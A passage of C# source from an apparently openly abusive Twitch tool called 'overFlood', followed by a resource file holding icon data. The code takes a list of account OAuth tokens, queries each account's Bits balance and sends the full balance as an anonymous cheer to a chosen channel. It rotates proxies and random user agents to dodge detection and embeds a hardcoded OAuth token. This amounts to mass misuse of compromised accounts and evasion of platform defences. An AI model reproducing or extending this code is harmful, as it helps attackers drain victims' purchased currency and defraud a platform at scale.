2379 | { 2380 | await Task.Run(() => Parallel.ForEach(bitTokens, parallelOptions, DoBitWork), cancellationToken); 2381 | } 2382 | catch (OperationCanceledException) 2383 | { 2384 | // ignored 2385 | } 2386 | 2387 | txtBitChannel.Enabled = true; 2388 | txtBitBots.Enabled = true; 2389 | txtBitDelay.Enabled = true; 2390 | btnBitLoadTokens.Enabled = true; 2391 | comboBitProxyType.Enabled = true; 2392 | btnBitLoadProxies.Enabled = true; 2393 | txtBitTimeout.Enabled = true; 2394 | btnBitStart.Enabled = true; 2395 | btnBitStop.Enabled = false; 2396 | MessageBox.Show($"Sent bits on {bitSuccess} accounts.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 2397 | } 2398 | 2399 | private void btnBitStop_Click(object sender, EventArgs e) 2400 | { 2401 | bitTokenSource.Cancel(); 2402 | } 2403 | 2404 | private void DoBitWork(string token) 2405 | { 2406 | if (bitTokenSource.IsCancellationRequested) 2407 | { 2408 | bitTokenSource.Cancel(); 2409 | } 2410 | 2411 | try 2412 | { 2413 | if (token.Contains(":")) 2414 | token = token.Contains("oauth:") ? token.Split(':')[1] : token.Split(':')[0]; 2415 | 2416 | int bitBalance = GetBitBalance(token, bitChannelId); 2417 | 2418 | if (bitBalance > 0 && !SendBits(token, bitChannelId, bitBalance).Contains("server error")) 2419 | { 2420 | Interlocked.Increment(ref bitSuccess); 2421 | lblBitSuccess.Text = $"Success: {bitSuccess}"; 2422 | } 2423 | else 2424 | { 2425 | Interlocked.Increment(ref bitFail); 2426 | lblBitFail.Text = $"Fail: {bitFail}"; 2427 | } 2428 | } 2429 | catch (Exception) 2430 | { 2431 | Interlocked.Increment(ref bitFail); 2432 | lblBitFail.Text = $"Fail: {bitFail}"; 2433 | } 2434 | 2435 | Thread.Sleep(Convert.ToInt32(txtBitDelay.Text)); 2436 | } 2437 | 2438 | private string SendBits(string token, string channelId, int bitBalance) 2439 | { 2440 | string result; 2441 | using (HttpRequest httpRequest = new HttpRequest()) 2442 | { 2443 | try 2444 | { 2445 | if (chkBitUseProxies.Checked) 2446 | { 2447 | ProxyType proxyType; 2448 | 2449 | switch (comboBitProxyType.Text) 2450 | { 2451 | case "HTTP": 2452 | proxyType = ProxyType.HTTP; 2453 | break; 2454 | case "SOCKS4": 2455 | proxyType = ProxyType.Socks4; 2456 | break; 2457 | case "SOCKS4a": 2458 | proxyType = ProxyType.Socks4A; 2459 | break; 2460 | case "SOCKS5": 2461 | proxyType = ProxyType.Socks5; 2462 | break; 2463 | default: 2464 | proxyType = ProxyType.HTTP; 2465 | break; 2466 | } 2467 | 2468 | int index = new Random().Next(bitProxies.Count()); 2469 | ProxyClient proxyClient = ProxyClient.Parse(proxyType, bitProxies[index]); 2470 | proxyClient.ReadWriteTimeout = Convert.ToInt32(txtBitTimeout.Text); 2471 | proxyClient.ConnectTimeout = Convert.ToInt32(txtBitTimeout.Text); 2472 | httpRequest.Proxy = proxyClient; 2473 | } 2474 | 2475 | httpRequest.UserAgent = Http.RandomUserAgent(); 2476 | httpRequest.Referer = "https://www.twitch.tv/"; 2477 | httpRequest.IgnoreProtocolErrors = true; 2478 | httpRequest.Reconnect = false; 2479 | httpRequest.Authorization = string.Format("OAuth {0}", token); 2480 | httpRequest.AddHeader("Pragma", "no-cache"); 2481 | httpRequest.AddHeader("Origin", "https://twitch.tv"); 2482 | httpRequest.AddHeader("Client-Id", "kimne78kx3ncx6brgo4mv6wki5h1ko"); 2483 | object[] array = new object[10]; 2484 | array[0] = "[{\"operationName\":\"ChatInput_SendCheer\",\"variables\":{\"input\":{\"id\":\""; 2485 | object[] array2 = array; 2486 | array[1] = Math.Floor((DateTime.Now.ToUniversalTime() - new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc)).TotalSeconds); 2487 | object[] array3 = array2; 2488 | array2[2] = GenerateString(); 2489 | array3[3] = "\",\"targetID\":\""; 2490 | array3[4] = channelId; 2491 | array3[5] = "\",\"bits\":"; 2492 | array3[6] = bitBalance; 2493 | array3[7] = ",\"content\":\"Anon"; 2494 | array3[8] = bitBalance; 2495 | array3[9] = "\",\"isAutoModEnabled\":true,\"shouldCheerAnyway\":false,\"isAnonymous\":true}},\"extensions\":{\"persistedQuery\":{\"version\":1,\"sha256Hash\":\"57b0d6bd979e516ae3767f6586e7f23666d612d3a65af1d5436dba130c9426fd\"}}}]"; 2496 | string str = string.Concat(array3); 2497 | 2498 | result = httpRequest.Post("https://gql.twitch.tv/gql", str, "text/plain;charset=UTF-8").ToString(); 2499 | } 2500 | catch (Exception) 2501 | { 2502 | result = ""; 2503 | } 2504 | } 2505 | return result; 2506 | } 2507 | 2508 | private int GetBitBalance(string token, string channelId) 2509 | { 2510 | int result; 2511 | using (HttpRequest httpRequest = new HttpRequest()) 2512 | { 2513 | httpRequest.UserAgent = Http.RandomUserAgent(); 2514 | httpRequest.Referer = "https://www.twitch.tv/"; 2515 | httpRequest.IgnoreProtocolErrors = true; 2516 | httpRequest.Reconnect = false; 2517 | httpRequest.Authorization = string.Format("OAuth {0}", token); 2518 | httpRequest.AddHeader("Pragma", "no-cache"); 2519 | httpRequest.AddHeader("Origin", "https://twitch.tv"); 2520 | httpRequest.AddHeader("Client-Id", "kimne78kx3ncx6brgo4mv6wki5h1ko"); 2521 | string str = "{\"operationName\":\"BitsBalanceInChannelQuery\",\"variables\":{\"channelId\":\"" + channelId + "\"},\"extensions\":{\"persistedQuery\":{\"version\":1,\"sha256Hash\":\"7560b93b8ed75a96c7ff1cbe100cf9dba847a4b84c3462e983262c884c137e3d\"}},\"query\":\"query BitsBalanceInChannelQuery($channelId: ID!) { currentUser { __typename bitsBalance } user(id: $channelId) { __typename self { __typename bitsBadge { __typename current { __typename imageURL(size: QUADRUPLE) } next { __typename imageURL(size: QUADRUPLE) } nextBits progress totalBits } } }}\"}"; 2522 | try 2523 | { 2524 | int.TryParse(Regex.Match(httpRequest.Post("https://gql.twitch.tv/gql", str, "text/plain;charset=UTF-8").ToString(), "bitsBalance\":(.*?)},").Groups[1].Value, out int num); 2525 | result = num; 2526 | } 2527 | catch (Exception) 2528 | { 2529 | result = 0; 2530 | } 2531 | } 2532 | return result; 2533 | } 2534 | 2535 | private string GenerateString() 2536 | { 2537 | string text = ""; 2538 | string text2 = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890-"; 2539 | int num = new Random().Next(15, 40); 2540 | int num2 = 0; 2541 | while (num2 < num) 2542 | { 2543 | text += text2[new Random().Next(text2.Length)].ToString(); 2544 | num2 += 1; 2545 | } 2546 | return text; 2547 | } 2548 | #endregion 2549 | 2550 | private string GetChannel(string channel) 2551 | { 2552 | string result; 2553 | using (HttpRequest httpRequest = new HttpRequest()) 2554 | { 2555 | httpRequest.UserAgent = Http.RandomUserAgent(); 2556 | httpRequest.IgnoreProtocolErrors = true; 2557 | httpRequest.Reconnect = false; 2558 | for (; ; ) 2559 | { 2560 | try 2561 | { 2562 | result = Regex.Match(httpRequest.Get(string.Concat(new string[] 2563 | { 2564 | "https://api.twitch.tv/api/channels/", 2565 | channel, 2566 | "/access_token?need_https=true&oauth_token=xkv96u0yoyz7vrzh55lxmboon3mgvt", 2567 | "&platform=web&player_backend=mediaplayer&player_type=site" 2568 | }), null).ToString(), "channel_id\\\\\":(.*?),\\\\\"chansub").Groups[1].Value; 2569 | break; 2570 | } 2571 | catch (Exception) 2572 | { 2573 | result = ""; 2574 | } 2575 | } 2576 | } 2577 | 2578 | return result; 2579 | } 2580 | 2581 | public static void WriteLine(StreamWriter streamWriter, string line) 2582 | { 2583 | lock (streamWriter) 2584 | { 2585 | streamWriter.WriteLine(line); 2586 | } 2587 | } 2588 | 2589 | private void MainForm_FormClosing(object sender, FormClosingEventArgs e) 2590 | { 2591 | Environment.Exit(0); 2592 | } 2593 | } 2594 | } 2595 | -------------------------------------------------------------------------------- /overFlood/overFlood/MainForm.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | 123 | AAABAAUAEBAAAAEAIABoBAAAVgAAABgYAAABACAAiAkAAL4EAAAgIAAAAQAgAKgQAABGDgAAMDAAAAEA 124 | IACoJQAA7h4AAAAAAAABACAADxAAAJZEAAAoAAAAEAAAACAAAAABACAAAAAAAAAEAAAAAAAAAAAAAAAA 125 | AAAAAAAApUFkRqVBZLGlQWS/pUFkvqVBZL6lQWS+pUFkvqVBZL6lQWS+pUFkvqVBZL6lQWS+pUFkvqVB 126 | ZL+lQWSxpUFkRaVBZLGlQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 127 | ZP+lQWT/pUFk/6VBZLGlQWS+pUFk/6VBZP+lQWT/pUFk/6ZDZv+oR2n/pUFk/6VBZP+lQWT/pUFk/6VB 128 | ZP+lQWT/pUFk/6VBZP+lQWS+pUFkvqVBZP+lQWT/pEBj/6M8YP+3Z4P/5svU/8F8lP+jPmH/pD5i/6RA 129 | Y/+lQWT/pUFk/6VBZP+lQWT/pUFkvqVBZL6lQWT/pEBj/7twi//UpLX/4cDM//bs8P/s1t7/16u6/9Oi 130 | s/+zYH3/pD9i/6VBZP+lQWT/pUFk/6VBZL6lQWS+pUFk/6Q+Yv/Rna//+vX3/+nQ2f/SoLH/xIOa/+bL 131 | 1P/p0dn/5srU/7Rhfv+kP2L/pUFk/6VBZP+lQWS+pUFkvqVBZP+kPmL/0p+x/+rT2/+rTW7/pkNm/6Q+ 132 | Yv+mRGf/p0Rn/8mOo//lyNL/s198/6RAY/+lQWT/pUFkvqVBZL6lQWT/pD5i/9Kfsf/q0tr/qEdp/6hH 133 | af+7cIv/rlNz/7tviv+oR2n/2a69/9Cbrv+kPmL/pUFk/6VBZL6lQWS+pUFk/6Q+Yv/Sn7H/6tLa/6hH 134 | af+vVXT/5srU/753kP/mytT/q09v/9Gdr//Rn7H/pD5i/6VBZP+lQWS+pUFkvqVBZP+kPmL/0p+x/+rS 135 | 2v+oR2n/rlV0/+XI0v++do//5MfR/6tOb//RnrD/0Z+x/6Q+Yv+lQWT/pUFkvqVBZL6lQWT/pD5i/9Kf 136 | sf/p0dr/p0Vn/6ZEZv+2ZYH/q01u/7Zlgf+lQGP/0Z2v/9Gfsf+kPmL/pUFk/6VBZL6lQWS+pUFk/6Q+ 137 | Yv/Gh53/7djf/71zjf+6bYj/uWuG/7ptiP+5a4f/uWuG/9y2xP/RnrD/pD5i/6VBZP+lQWS+pUFkvqVB 138 | ZP+kQGP/rlV0/+C9yf/lx9L/5MbQ/+TG0P/kxtD/5MbQ/+TG0P/nzNb/xoac/6Q/Yv+lQWT/pUFkvqVB 139 | ZL6lQWT/pUFk/6VBZP+oRmj/qUlq/6lJav+pSWr/qUlq/6lJav+pSWr/qEhq/6dEZ/+lQWT/pUFk/6VB 140 | ZL6lQWSxpUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 141 | ZP+lQWSxpUFkRqVBZLGlQWS/pUFkvqVBZL6lQWS+pUFkvqVBZL6lQWS+pUFkvqVBZL6lQWS+pUFkvqVB 142 | ZL+lQWSxpUFkRgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 143 | AAAAAAAAAAAAAAAAAAAoAAAAGAAAADAAAAABACAAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAAAApUFkBqVB 144 | ZFalQWSUpUFklqVBZJalQWSWpUFklqVBZJalQWSWpUFklqVBZJalQWSWpUFklqVBZJalQWSWpUFklqVB 145 | ZJalQWSWpUFklqVBZJalQWSWpUFklKVBZFWlQWQGpUFkVqVBZO2lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 146 | ZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 147 | ZOylQWRVpUFkk6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 148 | ZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWSSpUFklqVBZP+lQWT/pUFk/6VB 149 | ZP+lQWT/pUFk/6VBZP+lQGP/pD5i/6Q/Yv+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 150 | ZP+lQWT/pUFk/6VBZP+lQWSWpUFklqVBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VAY/+tU3P/vHGL/7Rh 151 | fv+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWSWpUFklqVB 152 | ZP+lQWT/pUFk/6VBZP+kP2L/oz5h/6I7X//FhJv//Pn6//Lk6f+4aIT/ozxg/6M+Yf+kPmL/pUBj/6VB 153 | ZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWSWpUFklqVBZP+lQWT/pUFk/6VCZf+4aoX/wX2V/8B6 154 | kv/Yrr3//fv8//v29//p0dn/wn+X/8F8lP+/d5D/qkxt/6RAY/+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 155 | ZP+lQWSWpUFklqVBZP+lQWT/pUFk/6ZEZv/iws3////////+/v//////9+/y/8yUqP/y5en///////// 156 | ///+/v7/3LXD/6pMbf+kQGP/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWSWpUFklqVBZP+lQWT/pUFk/6ZE 157 | Zv/jxM///////+bJ0//dt8T/2K28/61Tc/+7cIv/3LXD/923xf/gvcn/9+7x/9y2w/+qTG3/pEBj/6VB 158 | ZP+lQWT/pUFk/6VBZP+lQWSWpUFklqVBZP+lQWT/pUFk/6ZEZv/jxM///fv8/7twi/+kPmL/pUFk/6VB 159 | ZP+kQGP/pUFk/6VBZP+lQmX/xIKZ//fu8f/ctsP/q01u/6VAY/+lQWT/pUFk/6VBZP+lQWSWpUFklqVB 160 | ZP+lQWT/pUFk/6ZEZv/jxM///fv8/7twiv+kPmL/pUFk/6RAY/+kP2L/pUFk/6Q/Y/+kPmL/pEBj/8SD 161 | mf/48PL/1aa2/6VBZP+lQWT/pUFk/6VBZP+lQWSWpUFklqVBZP+lQWT/pUFk/6ZEZv/jxM///fv8/7tw 162 | iv+kPmL/pEBj/7lrhv/Lkqb/qkts/710jv/JjKH/qEZo/6ZEZv/mytT/5MfR/6ZEZv+lQWT/pUFk/6VB 163 | ZP+lQWSWpUFklqVBZP+lQWT/pUFk/6ZEZv/jxM///fv8/7twiv+kPmL/pD5i/86Yq//16u7/r1Z1/9er 164 | uv/v3eP/q01u/6ZDZv/kx9H/5MfR/6ZEZv+lQWT/pUFk/6VBZP+lQWSWpUFklqVBZP+lQWT/pUFk/6ZE 165 | Zv/jxM///fv8/7twiv+kPmL/pD5i/86Xq//16u7/r1Z1/9eruv/v3eP/q01u/6ZDZv/kx9H/5MfR/6ZE 166 | Zv+lQWT/pUFk/6VBZP+lQWSWpUFklqVBZP+lQWT/pUFk/6ZEZv/jxM///fv8/7twiv+kPmL/pD5i/86X 167 | q//16e3/r1Z1/9eruv/v3eP/q01u/6ZDZv/kx9H/5MfR/6ZEZv+lQWT/pUFk/6VBZP+lQWSWpUFklqVB 168 | ZP+lQWT/pUFk/6ZEZv/jxM///fv8/7twiv+kPmL/pEBj/7Rif//DgZj/qUlr/7hphf/BfJT/p0Vo/6ZE 169 | Zv/kx9H/5MfR/6ZEZv+lQWT/pUFk/6VBZP+lQWSWpUFklqVBZP+lQWT/pUFk/6ZDZv/hwMz//fv8/7pu 170 | if+iO1//pD5i/6M9YP+iO1//oz5h/6M8YP+iO1//oz5h/6VBZP/kxtD/5MfR/6ZEZv+lQWT/pUFk/6VB 171 | ZP+lQWSWpUFklqVBZP+lQWT/pUFk/6Q/Yv/Nlaj//fr7/86Yq/+9dI7/vnaP/752j/++do//vnaP/752 172 | j/++do//vnaP/794kf/s2N//5MbQ/6ZEZv+lQWT/pUFk/6VBZP+lQWSWpUFklqVBZP+lQWT/pUFk/6Q/ 173 | Y/+yXXv/8uTp//r19//58/X/+fP1//nz9f/58/X/+fP1//nz9f/58/X/+fP1//nz9f/8+fr/4b/L/6ZE 174 | Zv+lQWT/pUFk/6VBZP+lQWSWpUFklqVBZP+lQWT/pUFk/6VBZP+mQ2b/tmaC/7xxi/+8cYv/vHGL/7xx 175 | i/+8cYv/vHGL/7xxi/+8cYv/vHGL/7xxi/+8cYv/tGJ//6VCZf+lQWT/pUFk/6VBZP+lQWSWpUFklqVB 176 | ZP+lQWT/pUFk/6VBZP+lQWT/pD9i/6Q+Yv+kPmL/pD5i/6Q+Yv+kPmL/pD5i/6Q+Yv+kPmL/pD5i/6Q+ 177 | Yv+kPmL/pD9i/6VBZP+lQWT/pUFk/6VBZP+lQWSWpUFkkqVBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 178 | ZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 179 | ZP+lQWSSpUFkVaVBZO2lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 180 | ZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZO2lQWRVpUFkBqVBZFalQWSUpUFklqVB 181 | ZJalQWSWpUFklqVBZJalQWSWpUFklqVBZJalQWSWpUFklqVBZJalQWSWpUFklqVBZJalQWSWpUFklqVB 182 | ZJalQWSWpUFklKVBZFalQWQGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 183 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAACAA 184 | AABAAAAAAQAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAKVBZAClQWQPpUFkUKVBZG2lQWRtpUFkbaVB 185 | ZG2lQWRtpUFkbaVBZG2lQWRtpUFkbaVBZG2lQWRtpUFkbaVBZG2lQWRtpUFkbaVBZG2lQWRtpUFkbaVB 186 | ZG2lQWRtpUFkbaVBZG2lQWRtpUFkbaVBZG2lQWRtpUFkUKVBZA+lQWQApUFkDqVBZJelQWT1pUFk/aVB 187 | ZP2lQWT9pUFk/aVBZP2lQWT9pUFk/aVBZP2lQWT9pUFk/aVBZP2lQWT9pUFk/aVBZP2lQWT9pUFk/aVB 188 | ZP2lQWT9pUFk/aVBZP2lQWT9pUFk/aVBZP2lQWT9pUFk/aVBZP2lQWT1pUFkl6VBZA6lQWRQpUFk86VB 189 | ZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 190 | ZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWTzpUFkUKVB 191 | ZG2lQWT9pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 192 | ZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 193 | ZP2lQWRtpUFkbqVBZP2lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 194 | ZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 195 | ZP+lQWT/pUFk/aVBZG2lQWRtpUFk/aVBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 196 | ZP+lQGP/pUBj/6RAY/+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 197 | ZP+lQWT/pUFk/6VBZP+lQWT9pUFkbaVBZG2lQWT9pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 198 | ZP+kP2P/vneQ/9qywP/Zr77/uWuG/6Q/Yv+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 199 | ZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP2lQWRtpUFkbaVBZP2lQWT/pUFk/6VBZP+lQWT/pUFk/6RA 200 | Y/+kP2P/pD9j/6M9YP/QnK7////////////r1d3/r1d2/6Q+Yf+kP2P/pD9j/6Q/Y/+lQWT/pUFk/6VB 201 | ZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/aVBZG2lQWRtpUFk/aVBZP+lQWT/pUFk/6VB 202 | ZP+mRGb/sFh3/7Jde/+yXHr/sVp4/9eruv///////fv8///////dt8X/s158/7Jcev+yXXv/sFl3/6ZD 203 | Zv+lQGT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT9pUFkbaVBZG2lQWT9pUFk/6VB 204 | ZP+lQWT/pEBj/61Scv/q09v/9+3x//bs7//26+//+vX3///////fusf/7dng//79/f/37fD/9uzv//bs 205 | 8P/05+z/ypCl/6ZCZf+lQGT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP2lQWRtpUFkbaVB 206 | ZP2lQWT/pUFk/6VBZP+kQGP/rlR0//Lk6f///////////////////////////8yTp/+2ZYH/7tzi//// 207 | ///////////////////69Pb/y5Cl/6ZCZf+lQGT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/aVB 208 | ZG2lQWRtpUFk/aVBZP+lQWT/pUFk/6RAY/+uVHT/8uPo///////t2eD/06O0/9SjtP/UpLX/um2I/6M9 209 | Yf+2ZYH/06Gy/9SktP/To7T/16q6//Xp7f/69ff/y5Cl/6ZCZf+lQGT/pUFk/6VBZP+lQWT/pUFk/6VB 210 | ZP+lQWT9pUFkbaVBZG2lQWT9pUFk/6VBZP+lQWT/pEBj/65UdP/y4+j//////9mvvv+kPmH/pD9i/6Q/ 211 | Yv+lQGP/pUFk/6Q/Y/+kP2L/pD9i/6Q/Yv+kP2L/v3mR//Xq7f/69ff/y5Cl/6ZCZf+lQWT/pUFk/6VB 212 | ZP+lQWT/pUFk/6VBZP2lQWRtpUFkbaVBZP2lQWT/pUFk/6VBZP+kQGP/rlR0//Lj6P//////2rC//6VA 213 | Y/+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+kP2P/v3iR//Xq7f/69ff/ypCk/6ZD 214 | Zf+lQWT/pUFk/6VBZP+lQWT/pUFk/aVBZG2lQWRtpUFk/aVBZP+lQWT/pUFk/6RAY/+uVHT/8uPo//// 215 | ///asL//pUBj/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+kP2L/wX2V//r1 216 | 9//w4Ob/rVJy/6RAY/+lQWT/pUFk/6VBZP+lQWT9pUFkbaVBZG2lQWT9pUFk/6VBZP+lQWT/pEBj/65U 217 | dP/y4+j//////9qwv/+lQGP/pUFk/6VAY/+qS2z/1KS1/9equv+rTm//rlRz/9mvvv/Rna//qEdp/6Q/ 218 | Y/+uU3P/8+Xq//Pl6v+uVHT/pEBj/6VBZP+lQWT/pUFk/6VBZP2lQWRtpUFkbaVBZP2lQWT/pUFk/6VB 219 | ZP+kQGP/rlR0//Lj6P//////2rC//6VAY/+lQWT/pUBj/61Rcf/x4eb/9eru/69Wdf+zX33/+fL0/+zW 220 | 3f+qS2z/pD9i/65UdP/z5er/8+Xq/65UdP+kQGP/pUFk/6VBZP+lQWT/pUFk/aVBZG2lQWRtpUFk/aVB 221 | ZP+lQWT/pUFk/6RAY/+uVHT/8uPo///////asL//pUBj/6VBZP+lQGP/rVFx//Hh5v/16u7/r1Z1/7Nf 222 | ff/58vT/69bd/6pLbP+kP2P/rlR0//Pl6v/z5er/rlR0/6RAY/+lQWT/pUFk/6VBZP+lQWT9pUFkbaVB 223 | ZG2lQWT9pUFk/6VBZP+lQWT/pEBj/65UdP/y4+j//////9qwv/+lQGP/pUFk/6VAY/+tUXH/8eHm//Xq 224 | 7v+vVnX/s199//ny9P/r1t3/qkts/6Q/Y/+uVHT/8+Xq//Pl6v+uVHT/pEBj/6VBZP+lQWT/pUFk/6VB 225 | ZP2lQWRtpUFkbaVBZP2lQWT/pUFk/6VBZP+kQGP/rlR0//Lj6P//////2rC//6VAY/+lQWT/pUBj/61R 226 | cf/x4eb/9eru/69Wdf+zX33/+fL0/+zW3f+qS2z/pD9i/65UdP/z5er/8+Xq/65UdP+kQGP/pUFk/6VB 227 | ZP+lQWT/pUFk/aVBZG2lQWRtpUFk/aVBZP+lQWT/pUFk/6RAY/+uVHT/8uPo///////asL//pUBj/6VB 228 | ZP+lQWT/qUlq/8mOo//Mkqb/qkts/6xQcP/Nlqn/x4me/6dGaP+kP2P/rlR0//Pl6v/z5er/rlR0/6RA 229 | Y/+lQWT/pUFk/6VBZP+lQWT9pUFkbaVBZG2lQWT9pUFk/6VBZP+lQWT/pEBj/65UdP/y5On//////9qw 230 | v/+lQGP/pUFk/6VBZP+lQWT/pD9i/6Q/Yv+lQWT/pUFk/6Q+Yv+kP2L/pUFk/6RAY/+uVHT/8+Xq//Pl 231 | 6v+uVHT/pEBj/6VBZP+lQWT/pUFk/6VBZP2lQWRtpUFkbaVBZP2lQWT/pUFk/6VBZP+lQGP/q01u/+zW 232 | 3v//////2a++/6M9Yf+jPmH/oz5h/6M+Yf+jPmH/oz5h/6M+Yf+jPmH/oz5h/6M+Yf+jPmH/oz1g/61R 233 | cf/z5er/8+Xq/65UdP+kQGP/pUFk/6VBZP+lQWT/pUFk/aVBZG2lQWRtpUFk/aVBZP+lQWT/pUFk/6VB 234 | ZP+kQGP/0qGy///////ny9X/xIGZ/8SCmf/Egpn/xIKZ/8SCmf/Egpn/xIKZ/8SCmf/Egpn/xIKZ/8SC 235 | mf/DgZj/yo+j//fv8v/y5On/rlR0/6RAY/+lQWT/pUFk/6VBZP+lQWT9pUFkbaVBZG2lQWT9pUFk/6VB 236 | ZP+lQWT/pUFk/6Q/Yv+3Z4P/+O/y//////////////////////////////////////////////////// 237 | //////////////////////////////Lj6f+uVHT/pEBj/6VBZP+lQWT/pUFk/6VBZP2lQWRtpUFkbaVB 238 | ZP2lQWT/pUFk/6VBZP+lQWT/pUFk/6dGaP/Nlqn/27LA/9qxv//asb//2rG//9qxv//asb//2rG//9qx 239 | v//asb//2rG//9qxv//asb//2rG//9qxv//assD/0qCy/6pMbf+lQGP/pUFk/6VBZP+lQWT/pUFk/aVB 240 | ZG2lQWRtpUFk/aVBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VAY/+lQGP/pUBj/6VAY/+lQGP/pUBj/6VA 241 | Y/+lQGP/pUBj/6VAY/+lQGP/pUBj/6VAY/+lQGP/pUBj/6VAY/+lQGP/pUFk/6VBZP+lQWT/pUFk/6VB 242 | ZP+lQWT9pUFkbaVBZG6lQWT9pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 243 | ZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 244 | ZP+lQWT/pUFk/6VBZP2lQWRtpUFkbaVBZP2lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 245 | ZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 246 | ZP+lQWT/pUFk/6VBZP+lQWT/pUFk/aVBZG2lQWRQpUFk86VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 247 | ZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VB 248 | ZP+lQWT/pUFk/6VBZP+lQWT/pUFk/6VBZP+lQWTzpUFkUKVBZA6lQWSXpUFk9aVBZP2lQWT9pUFk/aVB 249 | ZP2lQWT9pUFk/aVBZP2lQWT9pUFk/aVBZP2lQWT9pUFk/aVBZP2lQWT9pUFk/aVBZP2lQWT9pUFk/aVB 250 | ZP2lQWT9pUFk/aVBZP2lQWT9pUFk/aVBZP2lQWT9pUFk9aVBZJelQWQOpUFkAKVBZA+lQWRQpUFkbaVB 251 | 